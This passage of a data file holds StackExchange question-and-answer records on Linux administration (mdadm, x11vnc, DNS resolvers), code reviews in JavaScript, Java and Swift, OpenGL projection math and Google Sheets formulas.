writeable.Version info$ lsb_release -dDescription:    CentOS release 6.6 (Final)$ rpm -q mdadmmdadm-3.3-6.el6_6.1.x86_64$ mdadm --versionmdadm - v3.3 - 3rd September 2013"  , "title": "Unable to check a mdadm RAID1 array, says the file system's read only?"  , "tags": "mdadm;software raid"  , "accepted_answer": "Thanks to @frostschutz's comment the issue appears to be due to /sys being mounted as readonly (ro). This was evident through this command:$ cat /proc/mounts |grep syssysfs /sys sysfs ro,seclabel,relatime 0 0none /proc/sys/fs/binfmt_misc binfmt_misc rw,relatime 0 0This appears to be an issue with docker. I found this issue titled: sysfs goes into readonly mode with host networking #7101. A workaround to the issue is to remount /sys read-write (rw) like so:$ mount -o remount,rw /sysLooking through the issues in docker's issue tracker it's unclear to me whether this is intentionally being left this way or not. The workaround is good enough for me for the time being but this seems like a bug to me."  } 
{  "id": "_codereview.119873"  , "question": "I'm currently populating before and after arrays with indexes, based on a number provided. If the input going in is an int, there will be three indexes (left, middle and right). If it is a decimal, there will just be two (left, right). There will me a maximum of three indexes to sort into a maximum of two arrays (before and after). To understand, here is some expected input/output:input: 1output: before [] after [0, 1, 2]input: 1.5output: before [] after [1, 2]input: -3.4output: before [3, 4] after []input: 0output: before [1] after [0, 1]Essentially, the input index gets floored and ceiling'd (or, in the case of a whole number, their next/previous integers are used along with the original input). If any of the resulting integers are below 0, they get put in the before array, but their index is made absolute, otherwise they go into the after array. If they do get put into the before array, then they are put in to reverse order, such that they remain sorted in numerical order.I have the below working code. But I feel like I could do much better. How would the community go about optimising this?var input = document.getElementById('input');var button = document.getElementById('button');var ouput = document.getElementById('output');function getOutput(input) {  var left = Math.floor(input);  var right = Math.ceil(input);  var middle;  var before = [];  var after = [];  if (right == left)    left--,    middle = left + 1,    right = left + 2;  if (left < 0)    before.unshift(Math.abs(left));  else    after.push(left);  if (middle < 0)    before.unshift(Math.abs(middle));  else if (typeof middle == 'number')    after.push(middle);  if (right < 0)    before.unshift(Math.abs(right));  else    after.push(right);  return {before: before, after: after};  }function buttonPressed () {    var i = parseFloat(input.value);  var msg = 'not a number';    if (!isNaN(i)) {        var o = getOutput(i);        msg = 'before [' + o.before.toString() + '] ahead [' + o.after.toString() + ']';    }    ouput.innerHTML = msg;  }<input id=input type=text><input id=button type=button value=get onclick=javascript:buttonPressed();><br><br><div id=output style=font-family: monospace;></div>My interest is in the getOutput method. The other stuff is for demonstration purposes.UpdateI have adjusted the expected output and the code from the original question, after being prompted to rethink from the comments."  , "title": "Creating indexes from a theoretical decimal/int, splitting into before and after arrays"  , "tags": "javascript;sorting;floating point"  , "accepted_answer": "The code in the question seems to have adequate complexity for the getOutput function. Some small hints may be given, like:do not use comma-expressions and decrement,initialize middle with null and check for it with !== instead of typeof,also, I do not like comparing undefined middle with 0.The current code is more or less readable.As for optimizations, one observation is that apart from [-1, 1] range, all other inputs always use the same alternative, making unnecessary to check left, right and middle individually. (eg, if right < 0, then so are middle and lift). How much optimization it really brings is hard to tell. If input numbers are almost always large, then making separate branch and constructing an array directly [left, middle, right] may make the code more efficient.The near-zero case may need more conditions, of course (or just some kind of lookup for ready arrays - as the number of cases is small).If you want a more compact code, maybe something like this can be done: tmparray = ((right == left) ? [left-1, left, left+1] : [left, left+1]);And after that push/unshift in a loop for each tmparray element. Not sure this will be faster though, but at least may be more readable. (left may be renamed to lower, and right calculated inline only in the condition)."  } 
{  "id": "_unix.366311"  , "question": "I use CentOS. I have ATI card that the website says supports RHEL 7.0 and 7.1. Currently it works in CentOS 7.2 as well but not in CentOS 7.3. Is it possible to use kernel of 7.2 (excluding from update via yum.conf) with other packages of 7.3? When I did that last time it did not work, the system did not boot so I am cautious about attempting to do that once again."  , "title": "CentOS minor update with previous kernel"  , "tags": "centos;upgrade;ati"  } 
{  "id": "_codereview.150864"  , "question": "I've created a little text based game in the console. the game randomly chooses two primitive data types and the user is asked to pick which has the larger memory allocation. I've tried to use TDD to create this application however I have noticed places where I may have tried to do too much at once. I've tried to refactor as much as possible and to extract methods/classes out to keep things clear and also keep to the SRP. But i'd like to know if there is anything you think I missed out or any tips on how to improve.Specifically I found it difficult to test the UserInputFromConsole Class as it takes input through System.in.UserInputFromConsole:package org.FaneFonseka.LearningGames2;import java.io.InputStream;import java.util.InputMismatchException;import java.util.Scanner;/** * Created by Fane on 09/12/2016. */public class UserInputFromConsole implements UserInput {    private Scanner reader;    UserInputFromConsole(InputStream in) {        reader = new Scanner(in);    }    @Override    public int getUserInputInt() throws InputMismatchException {        //todo not sure how to test this        return reader.nextInt();    }    @Override    public String getUserInputString() {        //todo not sure how to test this        return reader.nextLine();    }}I had it implement a UserInput interface so that I could swap it out when testing other classes which are dependent on it, such as the GameRunner Class.GameRunner:package org.FaneFonseka.LearningGames2;import java.io.InputStream;import java.util.InputMismatchException;/** * Created by Fane on 03/12/2016. */class GameRunner {    private final Picks picks;    private int numberOfQuestions;    private User user;    GameRunner(User user, Picker randomPrimitivePicker) {        this.user = user;        picks = new Picks(randomPrimitivePicker);    }    void askAllQuestions(UserInput userInput) {        setNumberOfQuestions(userInput);        System.out.println(Let's Begin!);        System.out.println();        System.out.println(Enter your answer as a number);        //questionsAskedCount+=;        for (int i = 0; i <= numberOfQuestions - 1; i++) {            getAnswer(userInput);        }    }    private void getAnswer(UserInput answerAsInt) {        picks.setPicks();        int answerNumber = 0;        boolean isValidNumber = true;        while (isValidNumber) {            whichPickIsBiggerPrompt();            try {                answerNumber = answerAsInt.getUserInputInt();                isValidNumber = false;            } catch (InputMismatchException e) {                System.out.println(Not valid number);            }        }        switch (answerNumber) {            case 1:                user.addAnswerToList(picks.firstPickGreaterThanSecondPick());                break;            case 2:                user.addAnswerToList(picks.secondPickGreaterThanFirstPick());                break;            case 3:                user.addAnswerToList(picks.firstPickIsSameSizeAsSecondPick());                break;            default:                System.out.println(false);                user.addAnswerToList(false);                break;        }    }    void setNumberOfQuestions(UserInput userInput) {        System.out.println(How many questions would you like?);        this.numberOfQuestions = userInput.getUserInputInt();        System.out.println(ok);    }    int getNumberOfQuestions() {        return this.numberOfQuestions;    }    private void whichPickIsBiggerPrompt() {        System.out.println(Which is bigger?);        System.out.println(1.  + picks.getFirstPick().name + ?);        System.out.println(2.  + picks.getSecondPick().name + ?);        System.out.println(3.  + Both the same?);    }    public static void main(String args[]) {        System.out.println(Welcome to the Java primitive data types quiz!);        InputStream in = System.in;        UserInput userInput = new UserInputFromConsole(in);        User user = new User();        user.setName(userInput);        Picker randomPrimitivePicker = new RandomPrimitivePicker();        GameRunner game1 = new GameRunner(user, randomPrimitivePicker);        game1.askAllQuestions(userInput);        System.out.println(Your score is  + user.getScore(game1.getNumberOfQuestions()));        System.out.println(Thanks For playing!);    }}GameRunnerTest:package org.FaneFonseka.LearningGames2;import org.junit.Before;import org.junit.Test;import java.util.Stack;/** * Created by Fane on 03/12/2016. */public class GameRunnerTest {    private GameRunner gameRunner;    private Picker fixedPrimitivePicker;    private PrimitiveDataType primitive1;    private PrimitiveDataType primitive2;    private PrimitiveDataType primitive3;    private Stack<PrimitiveDataType> primitiveDataTypeStack;    private PrimitiveDataType primitive5;    private PrimitiveDataType primitive4;    private PrimitiveDataType primitive6;    private User user;    @Before    public void setup() {        user = new User();        primitiveDataTypeStack = new Stack<PrimitiveDataType>();        primitiveDataTypeStack.push(primitive6 = new PrimitiveDataType(float, 64));        primitiveDataTypeStack.push(primitive6 = new PrimitiveDataType(char, 8));        primitiveDataTypeStack.push(primitive5 = new PrimitiveDataType(char, 8));        primitiveDataTypeStack.push(primitive4 = new PrimitiveDataType(long, 64));        primitiveDataTypeStack.push(primitive3 = new PrimitiveDataType(int, 32));        primitiveDataTypeStack.push(primitive2 = new PrimitiveDataType(boolean, 1));        primitiveDataTypeStack.push(primitive1 = new PrimitiveDataType(boolean, 1));        fixedPrimitivePicker = new Picker() {            public PrimitiveDataType pick() {                return primitiveDataTypeStack.pop();            }        };        gameRunner = new GameRunner(user, fixedPrimitivePicker);    }    @Test    public void setNumberOfQuestionsTest() {        UserInput fakeUserInput = new UserInput() {            @Override            public int getUserInputInt() {                return 1;            }            @Override            public String getUserInputString() {                return null;            }        };        gameRunner.setNumberOfQuestions(fakeUserInput);        assert gameRunner.getNumberOfQuestions() == 1;    }    @Test    public void whenUserIsAskedWhichDataTypeIsBiggerLargerDataTypeIsChosenReturnsTrueTest() {        UserInput fakeUserAnswers = new UserInput() {            @Override            public int getUserInputInt() {                return 2;            }            @Override            public String getUserInputString() {                return null;            }        };        gameRunner.askAllQuestions(fakeUserAnswers);        assert user.getAnswersList().get(0);    }    @Test    public void whenUserIsAskedWhichDataTypeIsBiggerSmallerDataTypeIsChosenReturnsFalseTest() {        UserInput fakeUserInput1 = new UserInput() {            @Override            public int getUserInputInt() {                return 1;            }            @Override            public String getUserInputString() {                return null;            }        };        gameRunner.askAllQuestions(fakeUserInput1);        assert !user.getAnswersList().get(0);    }}I had an idea to use a stack as the InputStream (similar to what I did in the GameRunnerTest) to get fixed output, but i'm finding it difficult to find a way to do this.EDIT: decided to focus on one main problem I'm facing in the code."  , "title": "Java primitive data types quiz"  , "tags": "java;quiz"  } 
{  "id": "_computerscience.3742"  , "question": "tl;dr: Math problem in projective geometry: How does one find some 4x4 camera matrix that gives a projection as illustrated below, such that points A,B,C,D are somewhere on the edges of the unit box (e.g. OpenGL normalized device coordinates), and the corners of the unit box fall somewhere reasonable along the rays EA, EB, EC, ED?( extra tags: dlt direct-linear-transform projections opengl homography projective-space perspectivity collineation ndc normalized-device-coordinates matrix svd singular-value-decomposition least-squares camera camera-matrix projective-geometry projective-space homogeneous-coordinates )elaboration:Given a quadrilateral ABCD within the the viewport, I think there exists a unique(?) transformation that maps it back to a rectangle. As seen in the image below: the quadrilateral ABCD in the viewport acts as a physical 'window', and if we map it back to a rectangle it will appear distorted.(the box on the right represents NDC, which I talk about later)The goal is to quickly obtain the image on the right. We could raytrace every point to obtain the image (which I've done), but I would prefer to use OpenGL or other projective techniques because I wanted to take advantage of things like blending, primitives, etc.first attempt (hover to show): I believe I can solve the problem of finding the 3x4 camera matrix that makes the 3+1-dimensional homogeneous coordinate in 3-space (on the left) and projects it down to the 2+1 dimensional homogeneous coordinates in 2-space (on the right). One can solve this using the direct linear transformation to get a system of equations Ba=0 for the unknown entries a of the camera matrix, and solving the system using singular value decomposition (SVD). I would take the vectors EA, EB, EC, ED (where E is your physical eye or the camera in world-space) as points in the pre-image, and (0,0), (1,0), (1,1), (0,1) or something as the points in the post-image, and each pair of points would give a few linear equations to plug into the SVD. The resulting matrix would map EA->(0,0) etc. (assuming there are enough degrees of freedom i.e. if the solution is unique, which I'm not sure about, see note[a].)But to my chagrin this is not how OpenGL works. OpenGL does not directly project 3d to 2d with a 3x4 matrix. OpenGL requires normalized device coordinates (NDC), which are three-dimensional points. After projecting into NDC, everything in the 'unit' box from (-1,-1,-1,1) to (1,1,1,1) is drawn; everything outside is clipped (since we're dealing with homogenerous coordinates: any point (x,y,z,w) will appear only on-screen only if the first three coordinates of (x/w,y/w,z/w,1) are within the unit box from -1 to 1).So the question becomes: does there exist some reasonable transformation that maps some weird-looking cuboid in homogeneous coordinates (specifically the cuboid drawn on the left, with ABCD (front points) and A'B'C'D' (back points, hidden behind front points)) to the unit cube, e.g. using a 4x4 matrix? How does one do it?what I've tried:  I've tried something stronger: I made ABCD and A'B'C'D' look like a regular pyramidal frustrum (e.g. gl frustrum) (i.e. in this hypothetical setup, the image on the left would just have a black rectangle superposed on it, not a quadrilateral), and then used the DLT/direct linear transformation to solve for the alleged 4x4 matrix. However when I tried it, there did not seem to be enough degrees of freedom... the resulting 4x4 matrix did not map every input vector to every output vector. While using A,B,C,D,A' (5 pairs of pre-transform and post-transform vectors), I /almost/ get the result I want... the vectors are mapped correctly, but for example B',C',D' are mapping to (3,3,1,1) instead of (-1,-1,1,1) and are clipped away by OpenGL. If I try adding a sixth point (6 pairs of points for the 4x4 matrix to project), my solution seems degenerate (zeroes, infinites). How many degrees of freedom am I dealing with here, and is this possible with a 4x4 matrix mapping the usual 4vectors (3+1-dimensional homogeneous-coordinate vectors) that we know and love?random minor thoughts: (I'm guessing that it's not possible to map any arbitrary cuboid to any arbitrary cuboid with a 4x4 matrix, though I'm confused because I thought it was possible to map any convex quadrilateral to any other convex quadrilateral in 2d with some matrix like in, say, Photoshop?... can/can't this not be done with a projective transform? And how does it generalize to 3d? ...... Also given the failed attempt to find a 4x4 matrix, linear algebra says we should not expect an NxN matrix to map more than N linearly independent points to N target points in the best case, but I feel that somehow homogeneous coordinates cheat this because there is some hidden colinearity going on? I guess not?)another solution?: I guess one could also maybe do the following ugly thing, where you use a typical frustrum camera projection matrix, find the 2d points corresponding to the corners, then perform a 2d perspective distort homography, but if that were to happen after the pixels were rendered (e.g. photoshop) then there would be problems with resolution... maybe hypothetically one could figure out a matrix to perform this transformation on the XY-plane within NDC-space, then compose it with the normal frustrum-based matrix?(note [a]: Degree of freedom: ABCD can be further constrained to be the post-image of a projective transformation acting on a rectangle, if that is necessary... that is the black rectangle on the left could be said to be the result of projecting a picture frame clipart model)"  , "title": "How to unproject quadrilateral into rectangle?"  , "tags": "opengl;projections;matrix"  } 
{  "id": "_softwareengineering.304438"  , "question": "I've recently worked on a reusable network service class for a service-aggregator iOS app. This class should retry a failed request if it was caused by expired user token. Plus, this class will be used between multiple contractors, who will create the aggregated services.Since the contractors might use different authentication methods, I create a interface / protocol for the class that will manage user's authentication. Here's a sample of my work (in Swift):BaseNetworkService.swiftclass BaseNetworkService {/**Request headers that will be used by this instance.*/internal var requestHeaders = [Content-Type: application/json]/**Request GET method to `URL` with passed `parameters`. Will send success responsein `next` and failure in `error` event of returned `RACSignal` instance.*/internal func GET(URL: String, parameters: [String: AnyObject]) -> RACSignal {    // method implementation here}// Rest of HTTP methods here}AuthenticatedNetworkService.swiftclass AuthenticatedNetworkService: BaseNetworkService {/**Used to retrieve authentication-related request headersand refresh expired user token.*/private var authService: AuthenticationProtocolinit(authService: AuthenticationProtocol) {    self.authService = authService}/**Request GET method to `URL` with passed `parameters`. Will send success responsein `next` and failure in `error` event of returned `RACSignal` instance.- note: If the request fails because of expired user token, this instance willrefresh current user token, and retry it once again.*/override func GET(URL: String, parameters: [String: AnyObject]) -> RACSignal {    // method implementation here}// Rest of HTTP methods here    }AuthenticationProtocol.swiftprotocol AuthenticationProtocol {/**Stores authentication header name in the `key`, and its value in itscorresponding `value`.*/internal var authenticationHeaders: [String: String] { get }/**Checks whether passed `error` caused by expired user token or not.*/func isErrorCausedByExpiredToken(error: NSError) -> Bool/**Refresh this instance's `authenticationHeaders`. It send `next:` event from returned `RACSignal` if the process succeeds, and `error:` otherwise.*/func refreshAuthenticatioHeaders() -> RACSignal}I was reading about Design Patterns while working on this, and created a Factory-like class for creating the AuthenticatedNetworkService for the aggregated services. Something around this:class AuthenticatedNetworkServiceFactory {/**Returns network service for Pizza Delivery service.*/class func PizzaDeliveryNetworkService() -> AuthenticatedNetworkService {    let authService = PizzaDeliveryAuthenticationService()    return AuthenticatedNetworkService(authService: authService)}/**Returns network service for Quick Laundry service.*/class func QuickLaundryNetworkService() -> AuthenticatedNetworkService {    let authService = QuickLaundryAuthenticationService()    return AuthenticatedNetworkService(authService: authService)}/**Returns network service for Cab Finder service.*/class func CabFinderNetworkService() -> AuthenticatedNetworkService {    let authService = CabFinderAuthenticationService()    return AuthenticatedNetworkService(authService: authService)}}Yet, after revisiting the GoF book, I found that Factory pattern was meant to return subclasses instead of a the main class. Since I was returning the main class (AuthenticatedNetworkService), is the AuthenticatedNetworkServiceFactory could be considered as a Factory? Or was it just a Helper class?"  , "title": "Could this class be considered as a Factory class?"  , "tags": "design patterns;ios;swift language;factory"  , "accepted_answer": "There is no clear answer to your question, because the definition of a factory is not cast in stone.Many people consider a factory to be anything that creates something for you so that you don't have to new it yourself.  This is dumb in my opinion, but who am I to say that your factories are not true factories ?The real benefits of using a factory come when:The factory decides which particular subclass to instantiate (as Kilian Foth mentioned) so that you don't have to know the actual class of the object created.The factory is an abstract class itself, so not only you don't have to know the actual class of the object created, but you don't even know the actual class of the factory that you are invoking.So, according to these real benefits your factory is in fact a helper, but if you still go ahead and call it a factory I do not think anybody can blame you. By calling it a factory you are simply advertising the fact that this thang instantiates stuff."  } 
{  "id": "_unix.316542"  , "question": "I'm using CentOS 7 and x11vnc version 0.9.13 (release 11.el7) for arch x86_64.I create Xvfb with two screens (:10.0 and :10.1) like this:sudo Xvfb :10 -screen 0 1366x768x24+32 -screen 1 1066x768x24+32 -br +bs -ac &I launch one x11vnc for the first screen:sudo x11vnc -display :10.0 -ncache 0 -rfbport 9999 -shared -forever -debug_ncache &I can use a VNC server to use that screen: it works: I open a Firefox on it, for instance.I kill that x11vnc and start another one, but for the second screen:sudo x11vnc -display :10.1 -ncache 0 -rfbport 10000 -shared -forever -debug_ncache &I can use a VNC server to use that screen: it works: I open a Chrome on it, for instance.Now, I kill x11vnc again, and then I start both servers, starting by the first screen and then the second:sudo x11vnc -display :10.0 -ncache 0 -rfbport 9999 -shared -forever -debug_ncache &sudo x11vnc -display :10.1 -ncache 0 -rfbport 10000 -shared -forever -debug_ncache &I can use a VNC server to use the first screen: it works and I see the Firefox window.BUT, trying to connect to the second VNC, brings a crash with the following trace:*** buffer overflow detected ***: x11vnc terminated======= Backtrace: =========/lib64/libc.so.6(__fortify_fail+0x37)[0x7fd434365597]/lib64/libc.so.6(+0x10c750)[0x7fd434363750]/lib64/libc.so.6(+0x10e507)[0x7fd434365507]/lib64/libvncserver.so.0(rfbProcessNewConnection+0x114)[0x7fd436d01764]/lib64/libvncserver.so.0(rfbCheckFds+0x3f8)[0x7fd436d01c98]/lib64/libvncserver.so.0(rfbProcessEvents+0x1d)[0x7fd436cf8c3d]x11vnc[0x4a0951]x11vnc[0x463d8a]x11vnc[0x410c0a]/lib64/libc.so.6(__libc_start_main+0xf5)[0x7fd434278b15]x11vnc[0x41b201]======= Memory map: ========00400000-00542000 r-xp 00000000 fd:00 14735                              /usr/bin/x11vnc00741000-00742000 r--p 00141000 fd:00 14735                              /usr/bin/x11vnc00742000-00788000 rw-p 00142000 fd:00 14735                              /usr/bin/x11vnc00788000-00ad0000 rw-p 00000000 00:00 0                                  [heap]7fd42f627000-7fd42f63c000 r-xp 00000000 fd:00 38                         /usr/lib64/libgcc_s-4.8.5-20150702.so.17fd42f63c000-7fd42f83b000 ---p 00015000 fd:00 38                         /usr/lib64/libgcc_s-4.8.5-20150702.so.17fd42f83b000-7fd42f83c000 r--p 00014000 fd:00 38                         /usr/lib64/libgcc_s-4.8.5-20150702.so.17fd42f83c000-7fd42f83d000 rw-p 00015000 fd:00 38                         /usr/lib64/libgcc_s-4.8.5-20150702.so.17fd42f83d000-7fd42f868000 rw-s 00000000 00:04 913866832                  /SYSV00000000 (deleted)7fd42f868000-7fd42f892000 rw-s 00000000 00:04 913834063                  /SYSV00000000 (deleted)7fd42f892000-7fd42f8bb000 rw-s 00000000 00:04 913801294                  /SYSV00000000 (deleted)7fd42f8bb000-7fd42f8e3000 rw-s 00000000 00:04 913768525                  /SYSV00000000 (deleted)7fd42f8e3000-7fd42f90a000 rw-s 00000000 00:04 913735756                  /SYSV00000000 (deleted)7fd42f90a000-7fd42f930000 rw-s 00000000 00:04 913702987                  /SYSV00000000 (deleted)7fd42f930000-7fd42f955000 rw-s 00000000 00:04 913670218                  /SYSV00000000 (deleted)7fd42f955000-7fd42f979000 rw-s 00000000 00:04 913637449                  /SYSV00000000 (deleted)7fd42f979000-7fd42f99c000 rw-s 00000000 00:04 913604680                  /SYSV00000000 (deleted)7fd42f99c000-7fd42f9be000 rw-s 00000000 00:04 913571911                  /SYSV00000000 (deleted)7fd42f9be000-7fd42f9df000 rw-s 00000000 00:04 913539142                  /SYSV00000000 (deleted)7fd42f9df000-7fd42f9ff000 rw-s 00000000 00:04 913506373                  /SYSV00000000 (deleted)7fd42f9ff000-7fd42fa1e000 rw-s 00000000 00:04 913473604                  /SYSV00000000 (deleted)7fd42fa1e000-7fd42fe1f000 rw-p 00000000 00:00 07fd42fe1f000-7fd430220000 rw-s 00000000 00:04 912457765                  /SYSV00000000 (deleted)7fd430220000-7fd430244000 r-xp 00000000 fd:00 4260                       /usr/lib64/liblzma.so.5.0.997fd430244000-7fd430443000 ---p 00024000 fd:00 4260                       /usr/lib64/liblzma.so.5.0.997fd430443000-7fd430444000 r--p 00023000 fd:00 4260                       /usr/lib64/liblzma.so.5.0.997fd430444000-7fd430445000 rw-p 00024000 fd:00 4260                       /usr/lib64/liblzma.so.5.0.997fd430445000-7fd4304a5000 r-xp 00000000 fd:00 4288                       /usr/lib64/libpcre.so.1.2.07fd4304a5000-7fd4306a4000 ---p 00060000 fd:00 4288                       /usr/lib64/libpcre.so.1.2.07fd4306a4000-7fd4306a5000 r--p 0005f000 fd:00 4288                       /usr/lib64/libpcre.so.1.2.07fd4306a5000-7fd4306a6000 rw-p 00060000 fd:00 4288                       /usr/lib64/libpcre.so.1.2.07fd4306a6000-7fd4306c7000 r-xp 00000000 fd:00 4383                       /usr/lib64/libselinux.so.17fd4306c7000-7fd4308c7000 ---p 00021000 fd:00 4383                       /usr/lib64/libselinux.so.17fd4308c7000-7fd4308c8000 r--p 00021000 fd:00 4383                       /usr/lib64/libselinux.so.17fd4308c8000-7fd4308c9000 rw-p 00022000 fd:00 4383                       /usr/lib64/libselinux.so.17fd4308c9000-7fd4308cb000 rw-p 00000000 00:00 07fd4308cb000-7fd4308d2000 r-xp 00000000 fd:00 4597                       /usr/lib64/libffi.so.6.0.17fd4308d2000-7fd430ad1000 ---p 00007000 fd:00 4597                       /usr/lib64/libffi.so.6.0.17fd430ad1000-7fd430ad2000 r--p 00006000 fd:00 4597                       /usr/lib64/libffi.so.6.0.17fd430ad2000-7fd430ad3000 rw-p 00007000 fd:00 4597                       /usr/lib64/libffi.so.6.0.17fd430ad3000-7fd430ada000 r-xp 00000000 fd:00 11023                      /usr/lib64/librt-2.17.so7fd430ada000-7fd430cd9000 ---p 00007000 fd:00 11023                      /usr/lib64/librt-2.17.so7fd430cd9000-7fd430cda000 r--p 00006000 fd:00 11023                      /usr/lib64/librt-2.17.so7fd430cda000-7fd430cdb000 rw-p 00007000 fd:00 11023                      /usr/lib64/librt-2.17.so7fd430cdb000-7fd430cdd000 r-xp 00000000 fd:00 13338                      /usr/lib64/libXau.so.6.0.07fd430cdd000-7fd430edd000 ---p 00002000 fd:00 13338                      /usr/lib64/libXau.so.6.0.07fd430edd000-7fd430ede000 r--p 00002000 fd:00 13338                      /usr/lib64/libXau.so.6.0.07fd430ede000-7fd430edf000 rw-p 00003000 fd:00 13338                      /usr/lib64/libXau.so.6.0.07fd430edf000-7fd430ee2000 r-xp 00000000 fd:00 4978                       /usr/lib64/libkeyutils.so.1.57fd430ee2000-7fd4310e1000 ---p 00003000 fd:00 4978                       /usr/lib64/libkeyutils.so.1.57fd4310e1000-7fd4310e2000 r--p 00002000 fd:00 4978                       /usr/lib64/libkeyutils.so.1.57fd4310e2000-7fd4310e3000 rw-p 00003000 fd:00 4978                       /usr/lib64/libkeyutils.so.1.57fd4310e3000-7fd4310f0000 r-xp 00000000 fd:00 5356                       /usr/lib64/libkrb5support.so.0.17fd4310f0000-7fd4312f0000 ---p 0000d000 fd:00 5356                       /usr/lib64/libkrb5support.so.0.17fd4312f0000-7fd4312f1000 r--p 0000d000 fd:00 5356                       /usr/lib64/libkrb5support.so.0.17fd4312f1000-7fd4312f2000 rw-p 0000e000 fd:00 5356                       /usr/lib64/libkrb5support.so.0.17fd4312f2000-7fd431368000 r-xp 00000000 fd:00 4770                       /usr/lib64/libgmp.so.10.2.07fd431368000-7fd431567000 ---p 00076000 fd:00 4770                       /usr/lib64/libgmp.so.10.2.0caught signal: 611/10/2016 17:24:00 deleted 43 tile_row polling images.Now, let's start x11vnc servers in reverse order: the second screen first and then the first screen:sudo x11vnc -display :10.1 -ncache 0 -rfbport 10000 -shared -forever -debug_ncache &sudo x11vnc -display :10.0 -ncache 0 -rfbport 9999 -shared -forever -debug_ncache &When I try to use VNC to reach the screen :10.1 (the second screen, but the first x11vnc launched), it works: I see the Chrome window.BUT, trying to connect to the screen :10.0 (last x11vnc launched), x11vnc crashes with the same trace as above (the first x11vnc server is still intact, running well).Note: I used RealVNC and TightVNC on Windows as clients.They both crash the second server.Note 2: running two separate Xvfb on displays :10 and :11 with only one screen (0) each, and pointing the two x11vnc servers to :10 and :11 leads to the same crash.Note 3: I ran both Xvfb and x11vnc as root. Running them as regular users also leads to the same crash.What did I wrong?Is there a way to start only one x11vnc server with two ports for both X11 screens?Is it a bug from x11vnc?"  , "title": "Xvfb with 2 screens and Two x11vnc servers (one for each screen): only the first one work"  , "tags": "x11;vnc;xvfb;x11vnc"  } 
{  "id": "_softwareengineering.255426"  , "question": "I have a MyObject which has an x and y coordinate. as far as I can see, I can store it in three ways:class MyObject:    def __init__(self, x, y):        self.x = x        self.y = yclass MyObject:    def __init__(self, x, y):        self.position = [x, y]class MyObject:    def __init__(self, x, y):        self.position = Coord(x,y) #Coord class created elsewhereIs there a best practise either way for this ?Where I'm thinking this is relevant, is when passing these coordinates into other methods:eg.myObj = MyObject(0,0)searchLocation(myObj.x, myObj.y)searchLocation2(myObj.position)"  , "title": "Should I store x,y coordinates as an array, a class object, or two variables?"  , "tags": "python;variables"  } 
{  "id": "_unix.35864"  , "question": "I have a simple install with Debian as a guest in Virtualbox. I installed the resolvconf package.The resolv.conf file is this:# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTENnameserver 8.8.8.8nameserver 10.3.x.xnameserver 10.219.x.xI added nameservers through GUI (Applications/System Tools/Network Tools).The 8.8.8.8 is Google's DNS, and I want to use it to resolve internet addresses.The 10.3.x.x and 10.219.x.x are needed to resolve internal domains like teleportal.company.intra.When I have these nameservers in resolv.conf(and 8.8.8.8 is the first) I get an error when querying internal an address:> host teleportal.company.intra           Host teleportal.company.intra not found: 3(NXDOMAIN)However if I explicitly set the second nameserver's address as a nameserver for nslookup, it works: nslookup teleportal.company.intra 10.3.x.xServer:     10.3.x.xAddress:    10.3.x.x#53teleportal.company.intra    canonical name = proxy.dummy1.dummy2.private.Name:   proxy.dummy1.dummy2.privateAddress: 172.27.x.xName:   proxy.dummy1.dummy2.privateAddress: 172.27.x.xThe resolv.conf documentation states that the nameserver entries will be tried in order, if one of them cannot resolve the query. However if I turn debug on when using nslookup I see that nslookup does not even try other entries, only the first.If I change the order of the nameservers, then internal addresses will be resolved properly (nslookup still uses only the first entry).How can I set up 3 nameservers so that utilities will use all of them in order?"  , "title": "Domain resolve problem with stock Debian"  , "tags": "debian;networking;dns"  , "accepted_answer": "The resolv.conf list of nameservers is contacted one after the other only in case of timeout. Not when one nameserver authoritively says there is no such domain (NXDOMAIN). In your case the DNS 8.8.8.8 apparently does not know about teleportal.company.intra and the resolver stopped when it got the NXDOMAIN.If possible you should configure one DNS server and use it for all your resolution and let the DNS server decide how to resolve the name. If 10.3.x.x is your intranet DNS server it would likely be able to resolve the internet hostnames as well.Having said that, if you really want to relay the requests to different DNS servers based on the names you could try pdnsd. Its a caching DNS proxy program that one would run locally. Install it (apt-get install pdnsd) and add your localhost (127.0.0.1) to resolv.conf. In the pdnsd.conf configuration file you can specify which DNS servers to contact based on name matching. An example paragraph for your /etc/pdnsd.conf:server {    label= google;    exclude = .company.intra;    ip = 8.8.8.8;}server {    label= intra;    include = .company.intra;    ip = 10.3.x.x;}I've snipped out many other parameters in the above file. You should follow the documentation and the example config file that ships with debian package to setup your pdnsd.conf."  } 
{  "id": "_webapps.89712"  , "question": "I am trying to pull the data from sheet 1, using the following formula:=query(Sheet1!A1:V1850,select I,A,D,E,F,H,R,S,L, M,O where I = 'TODAY()')So I do not have to enter todays date every time. How can it get it to pull that information?Here is the sheet."  , "title": "Using a query to pull data for today"  , "tags": "google spreadsheets"  } 
{  "id": "_unix.209665"  , "question": "A web page provides web-based ssh access to a linux machine.  I'm using it one a Windows7 machine.While editing a file in vi, I want to repeadetly enter the following:j0nhd0This (1) goes to the next line, then (2) goes to the beginning of the line, then (3) goes to the next occurrence of the search term, then (4) moves one space to the left, then (5) deletes everything on the line to the left of that point.  The 0 is just because I'm being really cautious.I thought what I'd do is write the followingj0nhd0j0nhd0j0nhd0j0nhd0j0nhd0j0nhd0j0nhd0j0nhd0j0nhd0j0nhd0j0nhd0j0nhd0j0nhd0j0nhd0j0nhd0and then copy that and paste it (while not in insert mode, of course) and it would do that operation on 15 lines, and then I could stare at it for a few seconds to make sure it didn't do anything wrong, before doing it the next time.  Doing this a couple of hundred times would finish the job in minutes.But the interface won't let me copy and paste.So:Is there some way I can copy and paste?Should I do something intelligent instead?  If so, what?"  , "title": "How (and whether) to copy and paste on an ssh web interface?"  , "tags": "ssh;vi;clipboard"  } 
{  "id": "_softwareengineering.324179"  , "question": "I have a list of numbers (let's call it L) and I need to split this list into three groups (A, B, and C) such that the sum of the numbers in each group (sum(A), sum(B), sum(C)) is as close as possible to the sum(L) / 3.I'm sure it is an old problem, but I couldn't find a solution. The closest I got is to sort L, then put every third number starting from the first element into A, then put every third number starting from the second element into B, and put the rest into C. But it doesn't always work, especially if numbers in L are not uniformly distributed."  , "title": "Sort numbers into three groups s.t. their sums are close to a certain value"  , "tags": "algorithms"  } 
